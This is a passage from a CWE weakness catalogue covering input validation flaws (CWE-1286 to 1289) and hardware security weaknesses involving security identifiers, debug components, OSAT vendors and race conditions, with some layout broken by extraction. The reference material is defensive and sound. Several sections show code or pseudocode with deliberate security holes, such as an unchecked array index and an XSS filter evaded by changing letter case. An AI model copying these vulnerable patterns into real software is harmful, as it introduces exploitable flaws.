        if (DOTLINE(buf))
            break;
        else if (sscanf(buf, "%d %d", &num, &size) == 2) {
            if (num > 0 && num <= (unsigned)count)
                sizes[num - 1] = size;
            else
                /* warn about possible attempt to induce buffer overflow */
                report(stderr, "Warning: ignoring bogus data for message sizes returned by server.\n");
        }
    }
    ...
}

```

Example 2:

In the following example the method `displayProductSummary` is called from a Web service servlet to retrieve product summary information for display to the user. The servlet obtains the integer value of the product number from the user and passes it to the `displayProductSummary` method. The `displayProductSummary` method passes the integer value of the product number to the `getProductSummary` method which obtains the product summary from the array object containing the project summaries using the integer value of the product number as the array index.

Example Language: Java

(bad)

```

// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
    String productSummary = new String("");
    try {

```

```
String productSummary = getProductSummary(index);
} catch (Exception ex) {...}
return productSummary;
}
public String getProductSummary(int index) {
    return products[index];
}
```

In this example the integer value used as the array index that is provided by the user may be outside the allowable range of indices for the array which may provide unexpected results or cause the application to fail. The integer value used for the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

Example Language: Java

(good)

```
// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
    String productSummary = new String("");
    try {
        String productSummary = getProductSummary(index);
    } catch (Exception ex) {...}
    return productSummary;
}
public String getProductSummary(int index) {
    String productSummary = "";
    if ((index >= 0) && (index < MAX_PRODUCTS)) {
        productSummary = products[index];
    }
    else {
        System.err.println("index is out of bounds");
        throw new IndexOutOfBoundsException();
    }
    return productSummary;
}
```

An alternative in Java would be to use one of the collection objects such as `ArrayList` that will automatically generate an exception if an attempt is made to access an array index that is out of bounds.

Example Language: Java

(good)

```
ArrayList productArray = new ArrayList(MAX_PRODUCTS);
...
try {
    productSummary = (String) productArray.get(index);
} catch (IndexOutOfBoundsException ex) {...}
```

Example 3:

The following example asks a user for an offset into an array to select an item.

Example Language: C

(bad)

```
int main (int argc, char **argv) {
    char *items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("User selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2005-0369 | large ID in packet used as array index https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0369 |
| CVE-2001-1009 | negative array index as argument to POP LIST command https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1009 |

CWE-1286: Improper Validation of Syntactic Correctness of Input

| | |
|---------------------------|----------------------------|
| Weakness ID : 1286 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product receives input that is expected to be well-formed - i.e., to comply with a certain syntax - but it does not validate or incorrectly validates that the input complies with the syntax.

Extended Description

Often, complex inputs are expected to follow a particular syntax, which is either assumed by the input itself, or declared within metadata such as headers. The syntax could be for data exchange formats, markup languages, or even programming languages. When untrusted input is not properly validated for the expected syntax, attackers could cause parsing failures, trigger unexpected errors, or expose latent vulnerabilities that might not be directly exploitable if the input had conformed to the syntax.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|-----|---------------------------|------|
| ChildOf |  | 20 | Improper Input Validation | 19 |
| ParentOf |  | 112 | Missing XML Validation | 253 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Often*)

Common Consequences

| Scope | Impact | Likelihood |
|-------|-------------------|------------|
| Other | Varies by Context | |

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the

full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Effectiveness = High

Demonstrative Examples

Example 1:

The following code loads and parses an XML file.

Example Language: Java

(bad)

```
// Read DOM
try {
    ...
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setValidating( false );
    ...
    c_dom = factory.newDocumentBuilder().parse( xmlFile );
} catch(Exception ex) {
    ...
}
```

The XML file is loaded without validating it against a known XML Schema or DTD.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2007-5893 | HTTP request with missing protocol version number leads to crash https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5893 |

CWE-1287: Improper Validation of Specified Type of Input

Weakness ID : 1287

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The product receives input that is expected to be of a certain type, but it does not validate or incorrectly validates that the input is actually of the expected type.

Extended Description

When input does not comply with the expected type, attackers could trigger unexpected errors, cause incorrect actions to take place, or exploit latent vulnerabilities that would not be possible if the input conformed with the expected type.

This weakness can appear in type-unsafe programming languages, or in programming languages that support casting or conversion of an input to another type.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1288: Improper Validation of Consistency within Input

| | |
|---------------------------|---------------------------|
| Weakness ID : 1288 | Status: Incomplete |
| Structure : Simple | |

Abstraction : Base**Description**

The product receives a complex input with multiple elements or fields that must be consistent with each other, but it does not validate or incorrectly validates that the input is actually consistent.

Extended Description

Some input data can be structured with multiple elements or fields that must be consistent with each other, e.g. a number-of-items field that is followed by the expected number of elements. When such complex inputs are inconsistent, attackers could trigger unexpected errors, cause incorrect actions to take place, or exploit latent vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1289: Improper Validation of Unsafe Equivalence in Input

| | |
|---------------------------|----------------------------|
| Weakness ID : 1289 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product receives an input value that is used as a resource identifier or other type of reference, but it does not validate or incorrectly validates that the input is equivalent to a potentially-unsafe value.

Extended Description

Attackers can sometimes bypass input validation schemes by finding inputs that appear to be safe, but will be dangerous when processed at a lower layer or by a downstream component. For example, a simple XSS protection mechanism might try to validate that an input has no "<script>" tags using case-sensitive matching, but since HTML is case-insensitive when processed by web browsers, an attacker could inject "<ScripT>" and trigger XSS.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1290: Incorrect Decoding of Security Identifiers

Weakness ID : 1290

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The product implements a decoding mechanism to decode certain bus-transaction signals to security identifiers. If the decoding is implemented incorrectly, then untrusted agents can now gain unauthorized access to the asset.

Extended Description

In a System-On-Chip (SoC), various integrated circuits and hardware engines generate transactions such as to access (reads/writes) assets or perform certain actions (e.g., reset, fetch, compute, etc.). Among various types of message information, a typical transaction is comprised of source identity (to identify the originator of the transaction) and a destination identity (to route the transaction to the respective entity). Sometimes the transactions are qualified with a security identifier. The security identifier helps the destination agent decide on the set of allowed actions (e.g., access an asset for read and writes). A decoder decodes the bus transactions to map security identifiers into necessary access-controls/protectations.

A common weakness that can exist in this scenario is incorrect decoding because an untrusted agent's security identifier is decoded into a trusted agent's security identifier. Thus, an untrusted agent previously without access to an asset can now gain access to the asset.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| Nature | Type | ID | Name | Page |
|---------|------|------|--|------|
| ChildOf | ⊕ | 1294 | Insecure Security Identifier Mechanism | 1933 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Bus/Interface IP (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---------------------------------------|------------|
| Confidentiality | Modify Memory | High |
| Integrity | Read Memory | |
| Availability | DoS: Resource Consumption (Other) | |
| Access Control | Execute Unauthorized Code or Commands | |
| | Gain Privileges or Assume Identity | |
| | Quality Degradation | |

Potential Mitigations

Phase: Architecture and Design

Security identifier decoders must be reviewed for design consistency and common weaknesses.

Phase: Implementation

Access and programming flows must be tested in pre-silicon and post-silicon testing in order to check for this weakness.

Demonstrative Examples

Example 1:

Consider a system that has four bus masters and a decoder. The table below provides bus masters as well as their security identifiers and trust assumptions:

The decoder is supposed to decode every bus transaction and assign a corresponding security identifier. The security identifier is used to determine accesses to the assets.

The bus transaction that contains the security information is Bus_transaction [15:14], and the bits 15 through 14 contain the security identifier information.

The assets are the AES-Key register's AES key for encryption or decryption. The key is 128 bits implemented as a set of four 32-bit registers. The key registers are assets, and register AES_KEY_ACCESS_POLICY is defined to provide the necessary access controls. The access-policy register defines which agents with a security identifier in the transaction can access the AES-key registers. The size of the security identifier is 4 bits (i.e., bit 3 through 0). Each bit in these 4 bits

defines a security identifier. There are only 4 security identifiers that are allowed accesses to the AES-key registers. The number of the bit when set (i.e., “1”) allows respective action from an agent whose identity matches the number of the bit and, if “0” (i.e., Clear), disallows the respective action to that corresponding agent.

```
Pseudo Code
If (AES_KEY_ACCESS_POLICY[Security_Identifier] == “1”)
    Allow access to AES-Key registers
Else
    Deny access to AES-Key registers
```

Example Language: Other (bad)

```
Below is a decoder’s Pseudo code that only checks for bit [14] of the bus transaction to determine what Security Identifier it must assign.
If (Bus_transaction[14] == “1”)
    Security_Identifier == “1”
Else
    Security_Identifier == “0”
```

Upon close observation of the security identifiers and the above code, it looks like the Master_3, an untrusted agent, has access to the AES-Key registers in addition to the intended trusted Master_1 because both have their bit “0” set to “1”.

Example Language: Other (good)

```
The decoder should check for the entire size of the security identifier in the bus-transaction signal to assign a corresponding security identifier. The following is good Pseudo code:
If (Bus_transaction[15:14] == “00”)
    Security_Identifier == “0”
If (Bus_transaction[15:14] == “01”)
    Security_Identifier == “1”
If (Bus_transaction[15:14] == “10”)
    Security_Identifier == “2”
If (Bus_transaction[15:14] == “11”)
    Security_Identifier == “3”
```

CWE-1291: Public Key Re-Use for Signing both Debug and Production Code

| | |
|--------------------|---------------|
| Weakness ID : 1291 | Status: Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The same public key is used for signing both debug and production code.

Extended Description

A common usage of public-key cryptography is to verify the integrity and authenticity of another entity (for example a firmware binary). If a company wants to ensure that its firmware runs only on its own hardware, before the firmware runs, an encrypted hash of the firmware image will be decrypted with the public key and then verified against the now-computed hash of the firmware image. This means that the public key forms the root of trust, which necessitates that the public key itself must be protected and used properly.

During the development phase, debug firmware enables many hardware debug hooks, debug modes, and debug messages for testing. Those debug facilities provide significant, additional views about the firmware's capability and, in some cases, additional capability into the chip or SoC. If compromised, these capabilities could be exploited by an attacker to take full control of the system.

Once the product exits the manufacturing stage and enters production, it is good practice to use a different public key. Debug firmware images are known to leak. With the debug key being reused as the production key, the debug image will also work on the production image. Thus, it will open all the internal, debug capabilities to the attacker.

If a different public key is used for the production image, even if the attacker gains access to the debug firmware image, they will not be able to run it on a production machine. Thus, damage will be limited to the intellectual property leakage resulting from the debug image.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Detection Methods

Architecture or Design Review

Compare the debug key with the production key to make sure that they are not the same.

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

Compare the debug key with the production key to make sure that they are not the same.

Effectiveness = High

Potential Mitigations

Phase: Implementation

Use different keys for Production and Debug

Demonstrative Examples

Example 1:

This example illustrates the danger of using the same public key for debug and production.

Example Language: Other (bad)

Suppose the product design requires frugality of silicon real estate. Assume that originally the architecture allows just enough storage for two 2048-bit RSA keys in the fuse: one to be used for debug and the other for production. However, in the meantime, a business decision is taken to make the security future-proof beyond 2030, which means the architecture needs to use the NIST-recommended 3072-bit keys instead of the originally-planned 2048-bit keys. This means that, at most, one key can be fully stored in the fuses, not two. So the product design team decides to use the same public key for debug and production.

Example Language: Other (informative)

Increase the storage so that two different keys of the required size can be stored.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| MemberOf | C | 1207 | Debug and Test Problems | 1194 | 2190 |

CWE-1292: Incorrect Conversion of Security Identifiers

| | |
|---------------------------|----------------------|
| Weakness ID : 1292 | Status: Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product implements a conversion mechanism to map certain bus-transaction signals to security identifiers. However, if the conversion is incorrectly implemented, untrusted agents can gain unauthorized access to the asset.

Extended Description

In a System-On-Chip (SoC), various integrated circuits and hardware engines generate transactions such as to access (reads/writes) assets or perform certain actions (e.g., reset, fetch, compute, etc.). Among various types of message information, a typical transaction is comprised of source identity (to identify the originator of the transaction) and a destination identity (to route the transaction to the respective entity). Sometimes the transactions are qualified with a security identifier. This security identifier helps the destination agent decide on the set of allowed actions (e.g., access an asset for read and writes).

A typical bus connects several leader and follower agents. Some follower agents implement bus protocols differently from leader agents. A protocol conversion happens at a bridge to seamlessly connect different protocols on the bus. One example is a system that implements a leader with the Advanced High-performance Bus (AHB) protocol and a follower with the Open-Core Protocol (OCP). A bridge AHB-to-OCP is needed to translate the transaction from one form to the other.

A common weakness that can exist in this scenario is that this conversion between protocols is implemented incorrectly, whereupon an untrusted agent may gain unauthorized access to an asset.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Bus/Interface IP (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---------------------------------------|------------|
| Confidentiality | Modify Memory | High |
| Integrity | Read Memory | |
| Availability | DoS: Resource Consumption (Other) | |
| Access Control | Execute Unauthorized Code or Commands | |
| | Gain Privileges or Assume Identity | |
| | Quality Degradation | |

Potential Mitigations

Phase: Architecture and Design

Security identifier decoders must be reviewed for design inconsistency and common weaknesses.

Phase: Implementation

Access and programming flows must be tested in pre-silicon and post-silicon testing.

Demonstrative Examples

Example 1:

Consider a system that supports AHB. Let us assume we have a follower agent that only understands OCP. To connect this follower to the leader, a bridge is introduced, i.e., AHB to OCP.

The follower has assets to protect accesses from untrusted leaders, and it employs access controls based on policy, (e.g., AES-Key registers for encryption or decryption). The key is 128 bits implemented as a set of four 32-bit registers. The key registers are assets, and register AES_KEY_ACCESS_POLICY is defined to provide the necessary access controls.

The AES_KEY_ACCESS_POLICY access-policy register defines which agents with a security identifier in the transaction can access the AES-key registers. The implemented AES_KEY_ACCESS_POLICY has 4 bits where each bit when "Set" allows access to the AES-Key

registers to the corresponding agent that has the security identifier. The other bits from 31 through 4 are reserved and not used.

During conversion of the AHB-to-OCF transaction, the security identifier information must be preserved and passed on to the follower correctly.

Example Language: Other (bad)

In AHB-to-OCF bridge, the security identifier information conversion is done incorrectly.

Because of the incorrect conversion, the security identifier information is either lost or could be modified in such a way that an untrusted leader can access the AES-Key registers.

Example Language: Other (good)

The conversion of the signals from one protocol (AHB) to another (OCF) must be done while preserving the security identifier correctly.

CWE-1293: Missing Source Correlation of Multiple Independent Data

| | |
|--------------------|---------------|
| Weakness ID : 1293 | Status: Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software relies on one source of data, preventing the ability to detect if an adversary has compromised a data source.

Extended Description

Software has to implicitly trust the integrity of an information source. When information is implicitly signed, one can ensure that the data was not tampered in transit. This does not ensure that the information source was not compromised when responding to a request. By requesting information from multiple sources, one can check if all of the data is the same. If they are not, the system should report the information sources that respond with a different or minority value as potentially compromised. If there are not enough answers to provide a majority or plurality of responses, the system should report all of the sources as potentially compromised. As the seriousness of the impact of incorrect integrity increases, so should the number of independent information sources that would need to be queried.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Architecture : Architecture-Independent (*Prevalence = Undetermined*)
Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|------------------------------|--|------------|
| Confidentiality Integrity | Read Application Data Modify Application Data Gain Privileges or Assume Identity <i>An attacker that may be able to execute a single Person-in-the-Middle attack can subvert a check of an external oracle (e.g. the ACME protocol check for a file on a website), and thus inject an arbitrary reply to the single perspective request to the external oracle.</i> | |

Potential Mitigations

Phase: Requirements

Design system to use a Practical Byzantine fault method, to request information from multiple sources to verify the data and report on potentially compromised information sources.

Phase: Implementation

Failure to use a Practical Byzantine fault method when requesting data. Lack of place to report potentially compromised information sources. Relying on non-independent information sources for integrity checking. Failure to report information sources that respond in the minority to incident response procedures.

CWE-1294: Insecure Security Identifier Mechanism

| | |
|----------------------------|----------------------------|
| Weakness ID : 1294 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Class | |

Description

The System-on-Chip (SoC) implements a Security Identifier mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Identifiers are not correctly implemented.

Extended Description

Systems-On-Chip (Integrated circuits and hardware engines) implement Security Identifiers to differentiate/identify actions originated from various agents. These actions could be 'read', 'write', 'program', 'reset', 'fetch', 'compute', etc. Security identifiers are generated and assigned to every agent in the System (SoC) that is either capable of generating an action or receiving an action from

another agent. Every agent could be assigned a unique, Security Identifier based on its trust level or privileges.

A broad class of flaws can exist in the Security Identifier process, including but not limited to missing security identifiers, improper conversion of security identifiers, incorrect generation of security identifiers, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1295: Debug Messages Revealing Unnecessary Information

| | |
|---------------------------|---------------------------|
| Weakness ID : 1295 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product fails to adequately prevent the revealing of unnecessary and potentially sensitive system information within debugging messages.

Extended Description

Debug messages are messages that help troubleshoot an issue by revealing the internal state of the system. For example, debug data in design can be exposed through internal memory array dumps or boot logs through interfaces like UART via TAP commands, scan chain, etc. Thus, the more information contained in a debug message, the easier it is to debug. However, there is also the risk of revealing information that could help an attacker either decipher a vulnerability, and/or gain a better understanding of the system. Thus, this extra information could lower the “security by obscurity” factor. While “security by obscurity” alone is insufficient, it can help as a part of “Defense-in-depth”.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 200 | Exposure of Sensitive Information to an Unauthorized Actor | 474 |
| PeerOf |  | 209 | Generation of Error Message Containing Sensitive Information | 499 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-------------|------------|
| Confidentiality | Read Memory | Medium |

| Scope | Impact | Likelihood |
|-----------------|------------------------------------|------------|
| Integrity | Bypass Protection Mechanism | |
| Availability | Gain Privileges or Assume Identity | |
| Access Control | Varies by Context | |
| Accountability | | |
| Authentication | | |
| Authorization | | |
| Non-Repudiation | | |

Potential Mitigations

Phase: Implementation

Ensure that a debug message does not reveal any unnecessary information during the debug process for the intended response.

Demonstrative Examples

Example 1:

This example here shows how an attacker can take advantage of unnecessary information in debug messages.

Example 1: Suppose in response to a Test Access Port (TAP) chaining request the debug message also reveals the current TAP hierarchy (the full topology) in addition to the success/failure message.

Example 2: In response to a password-filling request, the debug message, instead of a simple Granted/Denied response, prints an elaborate message, "The user-entered password does not match the actual password stored in <directory name>."

The result of the above examples is that the user is able to gather additional unauthorized information about the system from the debug messages.

The solution is to ensure that Debug messages do not reveal additional details.

Observed Examples

| Reference | Description |
|-----------------------|---|
| CVE-2017-18326 | modern debug messages include cryptographic keys https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18326 |

CWE-1296: Incorrect Chaining or Granularity of Debug Components

Weakness ID : 1296

Status: Incomplete

Structure : Simple

Abstraction : Base**Description**

The product's debug components contain incorrect chaining or granularity of debug components.

Extended Description

For debugging and troubleshooting a chip, several hardware design elements are often implemented, including:

- Various Test Access Ports (TAPs) allow boundary scan commands to be executed.
- For scanning the internal components of a chip, there are scan cells that allow the chip to be used as a "stimulus and response" mechanism.
- Chipmakers might create custom methods to observe the internal components of their chips by placing various tracing hubs within their chip and creating hierarchical or interconnected structures among those hubs.

Logic errors during design or synthesis could misconfigure the interconnection of the debug components, which could allow unintended access permissions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |

| Confidentiality | Gain Privileges or Assume Identity | Medium |
| Integrity | Bypass Protection Mechanism | |
| Access Control | Execute Unauthorized Code or Commands | |
| Authentication | Modify Memory | |
| Authorization | Modify Files or Directories | |
| Availability | <i>Depending on the access to debug component(s) erroneously granted, an attacker could use the debug component to gain additional understanding about the system to further an attack and/or execute other commands. This could compromise any security property, including the ones listed above.</i> | |
| Accountability | | |

Detection Methods

Architecture or Design Review

Appropriate Post-Si tests should be carried out at various authorization levels to ensure that debug components are properly chained and accessible only to users with appropriate credentials.

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

Appropriate Post-Si tests should be carried out at various authorization levels to ensure that debug components are properly chained and accessible only to users with appropriate credentials.

Effectiveness = High

Potential Mitigations

Phase: Implementation

Ensure that debug components are properly chained and their granularity is maintained at different authentication levels.

Demonstrative Examples

Example 1:

The following example shows how an attacker can take advantage of incorrect chaining or missing granularity of debug components.

In a System-on-Chip (SoC), the user might be able to access the SoC-level TAP with a certain level of authorization. However, this access should not also grant access to all of the internal TAPs (e.g., Core). Separately, if any of the internal TAPs is also stitched to the TAP chain when it should not be because of a logic error, then an attacker can access the internal TAPs as well and execute commands there.

As a related example, suppose there is a hierarchy of TAPs (TAP_A is connected to TAP_B and TAP_C, then TAP_B is connected to TAP_D and TAP_E, then TAP_C is connected to TAP_F and TAP_G, etc.). Architecture mandates that the user have one set of credentials for just accessing TAP_A, another set of credentials for accessing TAP_B and TAP_C, etc. However, if, during implementation, the designer mistakenly implements a daisy-chained TAP where all the TAPs are connected in a single TAP chain without the hierarchical structure, the correct granularity of debug components is not implemented and the attacker can gain unauthorized access.

Observed Examples

| Reference | Description |
|-----------------------|---|
| CVE-2017-18347 | Incorrect access control in RDP Level 1 on STMicroelectronics STM32F0 series devices allows physically present attackers to extract the device's protected firmware via a special sequence of Serial Wire Debug (SWD) commands because there is a race condition between full initialization of the SWD interface and the setup of flash protection. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18347 |
| CVE-2020-1791 | There is an improper authorization vulnerability in several smartphones. The system has a logic-judging error, and, under certain scenarios, a successful exploit could allow the attacker to switch to third desktop after a series of operations in ADB mode. (Vulnerability ID: HWPSIRT-2019-10114). http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1791 |

CWE-1297: Unprotected Confidential Information on Device is Accessible by OSAT Vendors

| | |
|---------------------------|---------------------------|
| Weakness ID : 1297 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product does not adequately protect confidential information on the device from being accessed by Outsourced Semiconductor Assembly and Test (OSAT) vendors.

Extended Description

In contrast to complete vertical integration of architecting, designing, manufacturing, assembling, and testing chips all within a single organization, an organization can choose to simply architect and design a chip before outsourcing the rest of the process to OSAT entities (e.g., external foundries and test houses). In the latter example, the device enters an OSAT facility in a much more vulnerable pre-production stage where many debug and test modes are accessible. Therefore, the chipmaker must place a certain level of trust with the OSAT. To counter this, the chipmaker often requires the OSAT partner to enter into restrictive non-disclosure agreements (NDAs). Nonetheless, OSAT vendors likely have many customers, which increases the risk of accidental sharing of information. There may also be a security vulnerability in the information technology (IT) system of the OSAT facility. Alternatively, a malicious insider at the OSAT facility may carry out an insider attack. Considering these factors, it behooves the chipmaker to minimize any confidential information in the device that may be accessible to the OSAT vendor.

Logic errors during design or synthesis could misconfigure the interconnection of the debug components, which could provide improper authorization to sensitive information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|------------------------|------|
| ChildOf |  | 285 | Improper Authorization | 635 |

Applicable Platforms

Language : Verilog (*Prevalence = Undetermined*)

Language : VHDL (*Prevalence = Undetermined*)

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Processor IP (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Confidentiality | Gain Privileges or Assume Identity | Medium |
| Integrity | Bypass Protection Mechanism | |
| Access Control | Execute Unauthorized Code or Commands | |
| Authentication | Modify Memory | |
| Authorization | Modify Files or Directories | |
| Availability | <i>The impact depends on the confidential information itself and who is inadvertently granted access. For example, if the confidential information is a key that can unlock all the parts of a generation, the impact could be severe.</i> | |
| Accountability | | |
| Non-Repudiation | | |

Detection Methods

Architecture or Design Review

Appropriate Post-Si tests should be carried out to ensure that residual confidential information is not left on parts leaving one facility for another facility.

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

Appropriate Post-Si tests should be carried out to ensure that residual confidential information is not left on parts leaving one facility for another facility.

Effectiveness = Moderate

Potential Mitigations

Phase: Architecture and Design

- Ensure that when an OSAT vendor is allowed to access test interfaces necessary for preproduction and returned parts, the vendor only pulls the minimal information necessary. Also, architect the product in such a way that, when an “unlock device” request comes, it only unlocks that specific part and not all the parts for that product line.
- Ensure that the product’s non-volatile memory (NVM) is scrubbed of all confidential information and secrets before handing it over to an OSAT.
- Arrange to secure all communication between an OSAT facility and the chipmaker.

Effectiveness = Moderate

Demonstrative Examples

Example 1:

The following example shows how an attacker can take advantage of a piece of confidential information that has not been protected from the OSAT.

Suppose the preproduction device contains NVM (a storage medium that by definition/design can retain its data without power), and this NVM contains a key that can unlock all the parts for that generation. An OSAT facility accidentally leaks the key.

Compromising a key that can unlock all the parts of a generation can be devastating to a chipmaker.

The likelihood of such a compromise can be reduced by ensuring all memories on the preproduction device are properly scrubbed.

CWE-1298: Hardware Logic Contains Race Conditions

| | |
|---------------------------|-----------------------|
| Weakness ID : 1298 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

A race condition in the hardware logic results in undermining security guarantees of the system.

Extended Description

A race condition in logic circuits typically occurs when a logic gate gets inputs from signals that have traversed different paths while originating from the same source. Such inputs to the gate can change at slightly different times in response to a change in the source signal. This results in a timing error or a glitch (temporary or permanent) that causes the output to change to an unwanted state before settling back to the desired state. If such timing errors occur in access control logic or finite state machines that are implemented in security sensitive flows, an attacker might exploit them to circumvent existing protections.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 362 | Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') | 817 |

Applicable Platforms

Language : Verilog (*Prevalence = Undetermined*)

Language : VHDL (*Prevalence = Undetermined*)

Technology : System on Chip (*Prevalence = Undetermined*)

Common Consequences

